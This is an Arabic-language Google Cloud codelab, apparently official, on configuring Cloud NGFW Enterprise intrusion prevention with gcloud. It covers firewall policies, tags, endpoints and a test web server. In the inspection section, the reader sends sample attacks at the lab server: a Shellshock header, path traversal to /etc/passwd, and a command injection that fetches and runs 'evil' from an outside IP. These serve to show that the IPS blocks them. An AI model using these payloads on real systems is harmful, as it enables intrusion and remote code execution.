1. مقدمة
جدار الحماية لـ Cloud Next Generation Firewall (NGFW)
إنّ جدار الحماية من الجيل التالي هو خدمة جدار حماية موزَّعة بالكامل ومزوّدة بإمكانات الحماية المتقدّمة والتصنيف الدقيق والتغطية الواسعة النطاق لحماية أحمال العمل على Google Cloud من الهجمات الداخلية والخارجية.
توفّر Cloud NGFW المزايا التالية:
- خدمة جدار الحماية الموزَّعة: توفّر Cloud NGFW فرض إجراءات تنفيذية مستنِدة إلى المضيف وموزّعة بالكامل على كل عبء عمل من أجل تفعيل بنية أمان انعدام الثقة.
- سهولة الإعداد والنشر: تنفِّذ Cloud NGFW سياسات جدار الحماية الهرمي والشبكة التي يمكن إرفاقها بعقدة التسلسل الهرمي للموارد. توفِّر هذه السياسات تجربة متّسقة لجدار الحماية في التدرّج الهرمي لموارد Google Cloud.
- التحكم الدقيق والتصنيف الدقيق: يوفر الجمع بين سياسات جدار الحماية وعلامات إدارة الهوية والوصول (IAM) التي تخضع للتحكم بشكل دقيق لحركة المرور بين الشمال-الجنوب والشرق-غرب، وصولاً إلى جهاز افتراضي واحد عبر شبكات السحابة الإلكترونية الخاصة الافتراضية (VPC) والمؤسسات.
تتوفّر خدمة Cloud NGFW في المستويات التالية:
- أساسيات جدار الحماية من الجيل التالي على Cloud
- معيار جدار الحماية لخدمة Cloud Next Generation
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
تضيف Cloud NGFW Enterprise خدمة منع التسلل (IPS)، وهي إحدى طبقات الطبقة 7، إلى التصميم الموزع لجدار الحماية في Google Cloud. يتوفّر فحص بروتوكول أمان طبقة النقل (TLS) للسماح بفحص الزيارات المشفّرة باستخدام بروتوكول أمان طبقة النقل (TLS)، ولكنّه خارج نطاق هذا الدرس التطبيقي حول الترميز (يمكنك الاطّلاع على الدرس التطبيقي حول ترميز Cloud NGFW Enterprise باستخدام فحص بروتوكول أمان طبقة النقل (TLS)).
يمكنك الآن نشر عمليات فحص موثوقة لجدار الحماية من الطبقة 7 من الجيل التالي (NGFW) باستخدام عناصر تحكم دقيقة، بدون إجراء أي تغييرات على بنية الشبكة أو إعدادات التوجيه.
لتفعيل التحكم في جدار الحماية من الطبقة 7 ونشره باستخدام نظام منع التسلل IPS، يجب إجراء المهام التالية:
- أنشئ مجموعة من نقاط نهاية جدار الحماية للمنطقة التي تديرها Google Cloud.
- يمكنك، إن أردت، إنشاء سياسة فحص بروتوكول أمان طبقة النقل (TLS) (غير مشمول في هذا الدرس التطبيقي حول الترميز).
- يمكنك إنشاء إعداد ثقة (Trust Config) اختياريًا (غير مذكور في هذا الدرس التطبيقي حول الترميز).
- يمكنك ربط نقاط النهاية هذه بشبكات السحابة الإلكترونية الخاصة الافتراضية (VPC) التي تحتاج إلى خدمة Cloud NGFW Enterprise فيها.
- يمكنك إجراء تغييرات بسيطة على سياسات جدار الحماية الحالية وقواعد جدار الحماية لتحديد الملفات الشخصية لمنع التهديدات في مسارات حركة البيانات المختلفة.
سياسات جدار الحماية للشبكة
تعمل سياسة جدار الحماية للشبكة كحاوية لقواعد جدار الحماية. لا يتم فرض القواعد المحدّدة في سياسة جدار الحماية للشبكة في أي مكان إلى أن يتم ربط السياسة بشبكة VPC. يمكن لكل شبكة VPC أن تكون لها سياسة جدار حماية واحدة مرتبطة بها. تتوافق سياسات جدار الحماية للشبكة مع العلامات المُدارة لإدارة الهوية وإمكانية الوصول (أو العلامات فقط) في قواعد جدار الحماية، والتي تحل محل علامات الشبكة الحالية ويمكن استخدامها لتوفير الهوية لأعباء العمل.
تؤدي مشاركة سياسة جدار الحماية للشبكة عبر الشبكات والتكامل مع العلامات المُدارة لإدارة الهوية وإمكانية الوصول إلى تبسيط عملية تهيئة جدران الحماية وإدارتها إلى حد كبير.
مع طرح سياسة جدار الحماية للشبكة، أصبحت سياسات جدار الحماية في Google Cloud تتكوّن الآن من العناصر التالية:
- سياسة جدار الحماية الهرمي
- قواعد جدار الحماية لبرنامج VC
- سياسة جدار حماية الشبكة ( عالمية وإقليمية)
تتوفّر سياسات جدار الحماية الهرمي في عُقد المؤسسة والمجلدات ضمن التسلسل الهرمي للموارد، في حين يتم تطبيق قواعد جدار الحماية لـ VPC وسياسات جدار الحماية للشبكة على مستوى سحابة VPC. يتمثل الاختلاف الكبير بين قواعد جدار الحماية سحابة VPC وسياسات جدار الحماية للشبكة في أنه لا يمكن تطبيق قواعد جدار الحماية VPC إلا على شبكة VPC واحدة، في حين يمكن ربط سياسات جدار الحماية للشبكة بشبكة VPC واحدة أو مجموعة واحدة من VPC، إلى جانب مزايا أخرى مثل التعديلات المجمّعة.
أخيرًا، لدينا أيضًا قواعد جدار الحماية الضمنية التي تأتي مع كل شبكة VPC:
- قاعدة خروج تم السماح بإجراءها، وتكون الوجهة 0.0.0.0/0
- قاعدة دخول يتم الرفض من خلالها، حيث يكون المصدر 0.0.0.0/0
يتم عرض تسلسل إجراء التنفيذ تلقائيًا في المخطّط البياني التالي:
يُرجى ملاحظة أنّه يمكن تبديل ترتيب التنفيذ بين قواعد جدار حماية VPC وسياسة جدار الحماية للشبكة العامة. يمكن للعملاء تحديد أمر التنفيذ في أي وقت باستخدام أمر gcloud.
علامات مُدارة لإدارة الهوية وإمكانية الوصول
العلامات المُدمَجة في قواعد سياسة جدار الحماية للشبكة الجديدة هي موارد زوجية من المفتاح/القيمة تم تحديدها في المؤسسة أو على مستوى المشروع في التدرّج الهرمي لموارد Google Cloud. تحتوي مثل هذه العلامة على عنصر تحكم وصول "إدارة الهوية وإمكانية الوصول" (IAM)، كما يوحي الاسم، يحدد الشخص الذي يمكنه اتخاذ الإجراءات على العلامة. وعلى سبيل المثال، تتيح أذونات "إدارة الهوية وإمكانية الوصول" (IAM) للمسؤول تحديد المبادئ الرئيسية التي يمكنها تخصيص قيم للعلامات والسمات الرئيسية التي يمكنها إرفاق العلامات بالموارد. بعد تطبيق علامة على مورد، يمكن لقواعد جدار الحماية للشبكة استخدامها للسماح بالزيارات ورفضها.
تلتزم العلامات بنموذج موارد الاكتساب في Google Cloud، ما يعني أنّه يتم تمرير العلامات وقيمها عبر التسلسل الهرمي من العناصر الرئيسية. ونتيجةً لذلك، قد يتم إنشاء العلامات في مكان واحد، ثم استخدامها من قِبل مجلدات ومشاريع أخرى خلال التسلسل الهرمي للموارد. يمكنك الانتقال إلى هذه الصفحة للاطّلاع على تفاصيل حول العلامات والقيود المفروضة على إمكانية الوصول إليها.
يجب عدم الخلط بين العلامات وعلامات الشبكة. والأخيرة هي السلاسل التي يمكن إضافتها إلى مثيلات Compute Engine؛ ترتبط بالمثيل وتختفي عند إيقاف المثيل. قد تتضمّن قواعد جدار الحماية من سحابة VPC علامات شبكة، ولكن لا يتم اعتبارها موارد السحابة الإلكترونية، وبالتالي لا تخضع للتحكم في الوصول إلى "إدارة الهوية وإمكانية الوصول".
يُرجى العلم أنّ العلامات والعلامات المُدارة لإدارة الهوية وإمكانية الوصول تُستخدَم بالتبادل في هذا المستند.
ما الذي ستنشئه
يتطلّب هذا الدرس التطبيقي حول الترميز مشروعًا واحدًا وإمكانية إنشاء شبكة VPC مع إمكانية الاتصال العام، وسيوضّح كيف يمكن لخدمة Cloud NGFW Enterprise توفير وظائف بروتوكول منع التسلل IPS من خلال ما يلي:
- فحص تدفقات الشبكة الداخلية أو الشبكة الفرعية [شرق-غرب]
- فحص تدفقات الدخول من الإنترنت [الشمال-الجنوب]
سيتم اختيار التدفقات المراد فحصها باستخدام مَعلمات مطابقة جدار الحماية في Cloud، بما في ذلك الصفوف الخمسة (عنوان IP المصدر وعنوان IP الوجهة والبروتوكول ومنفذ المصدر ومنفذ الوجهة) والعلامات. لا يتم تضمين فحص بروتوكول أمان طبقة النقل (TLS) في هذا الدرس التطبيقي حول الترميز.
ستكون قاعدة قاعدة سياسة جدار الحماية للشبكة مشابهة للجدول أدناه:
الأولوية | الاتجاه | Target | المصدر | الوجهة | الإجراء | النوع |
100 | حركة بيانات صادرة | Quarantine_Tag | أي لون | أي لون | رفض | الوظائف الأساسية |
1000 | حركة بيانات واردة | Server_Tag | نطاقات التحقق من الصحة | أي لون | السماح | الوظائف الأساسية |
2000 | حركة بيانات واردة | أي لون | نطاقات الخادم الوكيل لإدراك الهوية | أي لون | السماح | الوظائف الأساسية |
3000 | حركة بيانات واردة | أي لون | الموقع الجغرافي، GCTI | أي لون | رفض | الإذن بالوصول العادي |
4000 | حركة بيانات صادرة | أي لون | أي لون | الموقع الجغرافي، GCTI | رفض | الإذن بالوصول العادي |
5000 | حركة بيانات صادرة | أي لون | أي لون | FQDN (اسم المجال المؤهل بالكامل) لتحديث النظام | السماح | الإذن بالوصول العادي |
6000 | حركة بيانات واردة | Server_Tag | 10.0.0.0/24 | أي لون | IPS | Enterprise |
7000 | حركة بيانات واردة | Server_Tag | CloudNAT_IP | أي لون | IPS | Enterprise |
المعلومات التي ستطّلع عليها
- كيفية إنشاء سياسة عامة لجدار الحماية للشبكة
- كيفية إنشاء واستخدام علامات تتضمّن سياسة جدار الحماية للشبكة
- كيفية إعداد واستخدام خدمة منع التسلل في Cloud NGFW Enterprise
المتطلبات
- مشروع Google Cloud
- معرفة نشر المثيلات وتهيئة مكونات الشبكة
- معرفة إعدادات جدار الحماية سحابة VPC
2. قبل البدء
إنشاء/تعديل المتغيّرات
يستخدم هذا الدرس التطبيقي حول الترميز $variables للمساعدة في تنفيذ إعدادات gcloud في Cloud Shell.
في Cloud Shell، نفِّذ الأوامر أدناه مع استبدال المعلومات داخل الأقواس حسب الحاجة (تخطَّ إعداد المشروع إذا سبق أن تم ضبط الطلب المطلوب). يتم استخدام متغير مختلف للموارد على مستوى المؤسسة في حال كانت عدّة عوامل، مثل نقاط نهاية جدار الحماية مطلوبة.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3- تفعيل واجهات برمجة التطبيقات
قم بتمكين واجهات برمجة التطبيقات إذا لم تقم بذلك:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. ملف الأمان في Cloud NGFW Enterprise وإنشاء نقاط النهاية
بما أنّ إنشاء نقطة نهاية Cloud NGFW Enterprise يستغرق حوالي 20 دقيقة، سيتم إنشاؤها أولاً ويمكن إجراء الإعداد الأساسي بالتوازي أثناء إنشاء نقطة النهاية.
إنشاء الملف الشخصي للأمان ومجموعة الملفات الشخصية للأمان:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
المخرجات المتوقعة:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
تأكَّد من إنشاء الموارد بنجاح:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
المخرجات المتوقعة:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
إنشاء نقطة نهاية Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
شغِّل الأمر أدناه للتأكّد من أنّه يتم إنشاء نقطة النهاية (الحالة: CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
الناتج المتوقَّع (يُرجى العلم أنّ تنسيق الإخراج قد يختلف وفقًا للبرنامج المستخدَم):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
اختياريًا، شغِّل الأمر أدناه للحصول على مزيد من التفاصيل:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
المخرجات المتوقعة:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
تستغرق عملية إنشاء نقطة النهاية حوالي 20 دقيقة. انتقِل إلى قسم "الإعداد الأساسي" لإنشاء الموارد المطلوبة بشكل متوازٍ.
5- إعداد القاعدة
يُرجى المتابعة إلى الأقسام التالية إذا كنت تفضِّل إنشاء الموارد الأساسية يدويًا.
شبكة VC والشبكة الفرعية
شبكة VC والشبكة الفرعية
أنشئ شبكة VPC والشبكة الفرعية:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
إنشاء أجهزة توجيه السحابة الإلكترونية وبوابات ترجمة عنوان الشبكة السحابية:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
التجارب
إنشاء مثيل العميل وخادم الويب:
gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2' gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --scopes=compute-ro \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils iperf3 tcpdump -y'
علامات على مستوى الهدف
خصِّص أذونات TagAdmin و/أو tagUser للمستخدم إذا لزم الأمر:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
أنشئ مفتاح وقيم العلامة على مستوى المشروع:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
ربط العلامات بالمثيلات:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
السياسة العالمية لجدار الحماية للشبكة
إنشاء سياسة عامة لجدار الحماية للشبكة:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
أنشِئ قواعد Cloud Firewall Essential لرفض الزيارات من المثيلات المعزولة (تم إنشاؤها كمثال فقط، ولا يتم استخدامها في هذا الدرس التطبيقي حول الترميز) والسماح بالزيارات من نطاقات التحقّق من الصحة والخادم الوكيل المستند إلى الهوية:
gcloud compute network-firewall-policies rules create 100 \ --description="block quarantined workloads" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \ --dest-ip-ranges=0.0.0.0/0 gcloud compute network-firewall-policies rules create 1000 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 2000 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --src-ip-ranges=35.235.240.0/20
إنشاء قواعد Cloud Firewall Standard لرفض الزيارات الواردة والخروج من البلدان المحظورة، وعناوين IP الضارة المعروفة، وعُقد الخروج من بنود الخدمة. والسماح فقط بحركة البيانات الصادرة إلى أسماء FQDN محددة في تحديثات النظام (تم إنشاؤها كمثال فقط، ولا يتم استخدامها في هذا الدرس التطبيقي حول الترميز):
gcloud compute network-firewall-policies rules create 3000 \ --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=INGRESS \ --src-region-codes CU,IR,KP,SY,XC,XD \ --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 4000 \ --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \ --action=deny \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=all \ --direction=EGRESS \ --dest-region-codes CU,IR,KP,SY,XC,XD \ --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips gcloud compute network-firewall-policies rules create 5000 \ --description "allow system updates" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
يمكنك إنشاء قواعد جدار الحماية للسحابة الإلكترونية للسماح بدخول حركة بيانات الشبكة الفرعية ومن الشمال إلى الجنوب أو الإنترنت من النطاقات المحددة (سيتم تعديل هذه القواعد لتفعيل Cloud NGFW Enterprise):
gcloud compute network-firewall-policies rules create 6000 \ --description "allow ingress internal traffic from clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs all \ --src-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud compute network-firewall-policies rules create 7000 \ --description "allow ingress external traffic to server" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --enable-logging \ --src-ip-ranges=$cloudnatip \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
اربط سياسة جدار الحماية للشبكة بشبكة VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
جهاز موازنة حمل شبكة TCP/UDP الخارجي
احتفِظ بعنوان IP خارجي وأنشِئ مجموعة المثيل وتحقَّق من الصحة:
gcloud compute addresses create $prefix-$region-nlbip --region=$region gcloud compute instance-groups unmanaged create $prefix-ig \ --zone $zone gcloud compute instance-groups unmanaged add-instances $prefix-ig \ --instances $prefix-$zone-www --zone $zone gcloud compute health-checks create http $prefix-$region-hc-http80 \ --region $region --port 80
إنشاء خدمة الخلفية وقاعدة إعادة التوجيه:
gcloud compute backend-services create $prefix-nlb-bes \ --protocol TCP \ --health-checks $prefix-$region-hc-http80 \ --health-checks-region $region \ --region $region gcloud compute backend-services add-backend $prefix-nlb-bes \ --instance-group $prefix-ig \ --instance-group-zone $zone \ --region $region gcloud compute forwarding-rules create $prefix-nlb-ipv4 \ --load-balancing-scheme EXTERNAL \ --region $region \ --ports 80 \ --address $prefix-$region-nlbip \ --backend-service $prefix-nlb-bes
6- رابطة نقاط النهاية في Cloud NGFW Enterprise
أعد تحديد متغيرات البيئة إذا لزم الأمر.
تأكَّد من اكتمال إنشاء نقطة نهاية جدار الحماية على السحابة الإلكترونية بنجاح. المتابعة فقط بعد أن تظهر الحالة على أنّها نشط (تكون الحالة المتوقّعة أثناء عملية الإنشاء هي إنشاء):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
الناتج المتوقَّع (يُرجى العلم أنّ تنسيق الإخراج قد يختلف وفقًا للبرنامج المستخدَم):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
اختياريًا، شغِّل الأمر أدناه للحصول على مزيد من التفاصيل:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
المخرجات المتوقعة:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
ربط نقطة نهاية Cloud NGFW Enterprise بشبكة VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
وتستغرق عملية الربط 10 دقائق تقريبًا. يجب المتابعة فقط بعد أن تصبح الحالة نشطًا (الحالة المتوقّعة هي إنشاء أثناء عملية الإنشاء):
gcloud network-security firewall-endpoint-associations list
المخرجات المتوقعة:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
اختياريًا، شغِّل الأمر أدناه للحصول على مزيد من التفاصيل:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
المخرجات المتوقعة:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. قواعد فحص Cloud NGFW Enterprise
افتح علامة تبويب جديدة وابدأ اتصال بروتوكول النقل الآمن بالجهاز الافتراضي للعميل من خلال الشراء داخل التطبيق (ستحتاج إلى تحديد المتغيّرات مرة أخرى في علامة التبويب الجديدة):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
حدد المتغيرات المطلوبة في جلسة SSH وعيِّن المتغيرات (تأكد من صحة القيم):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
تجعّد عنوانَي IP للتأكُّد من إمكانية الوصول إليهما:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
النتيجة المتوقعة لكل من طلبَي curl:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
يمكنك إرسال نماذج الهجمات إلى عنوان IP للخادم الداخلي (الزيارات الواردة من الشرق-الغرب / حركة البيانات داخل VC). يجب أن يستجيب خادم الويب لجميع الطلبات، مع التأكد من عدم وجود فحص أو منع من المستوى 7:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
يمكنك إعادة إرسال نماذج الهجمات إلى عنوان IP للخادم الخارجي من خلال Cloud NAT (حركة المرور الواردة من الشمال إلى الجنوب)، وكذلك يجب أن يستجيب خادم الويب لجميع الطلبات:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
النتائج المتوقعة لكل من عناوين IP العامة والخاصة:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
يُرجى العودة إلى Cloud Shell وتعديل قواعد الدخول الحالية لتفعيل فحص L7:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
بشكل اختياري، يمكنك وصف قواعد جدار الحماية للتحقق من تحديث كلتيهما بنجاح:
gcloud compute network-firewall-policies rules describe 6000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
المخرجات المتوقعة:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
القاعدة 7000:
gcloud compute network-firewall-policies rules describe 7000 \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy
المخرجات المتوقعة:
--- action: apply_security_profile_group description: allow ingress external traffic to server direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: tcp ports: - '80' - ipProtocol: tcp ports: - '443' srcIpRanges: - [cloudnat-ip] priority: 900 ruleTupleCount: 6 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
عليك التبديل مرة أخرى إلى الجهاز الافتراضي (VM) الخاص بالعميل وإعادة إرسال نماذج الهجمات إلى عنوان IP للخادم الداخلي (فحص "الغرب-الغربي" أو "داخل VC"):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3 curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
إعادة إرسال نماذج الهجمات إلى عنوان IP للخادم الخارجي من خلال Cloud NAT (فحص الوارد من الشمال إلى الجنوب):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3 curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3 curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
لا يتم تلقّي أي ردود على الهجمات الأولى وفقًا للنتائج المتوقّعة أدناه، ما يؤكّد أنّه يتم حاليًا حظر الهجمات العالية الخطورة.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
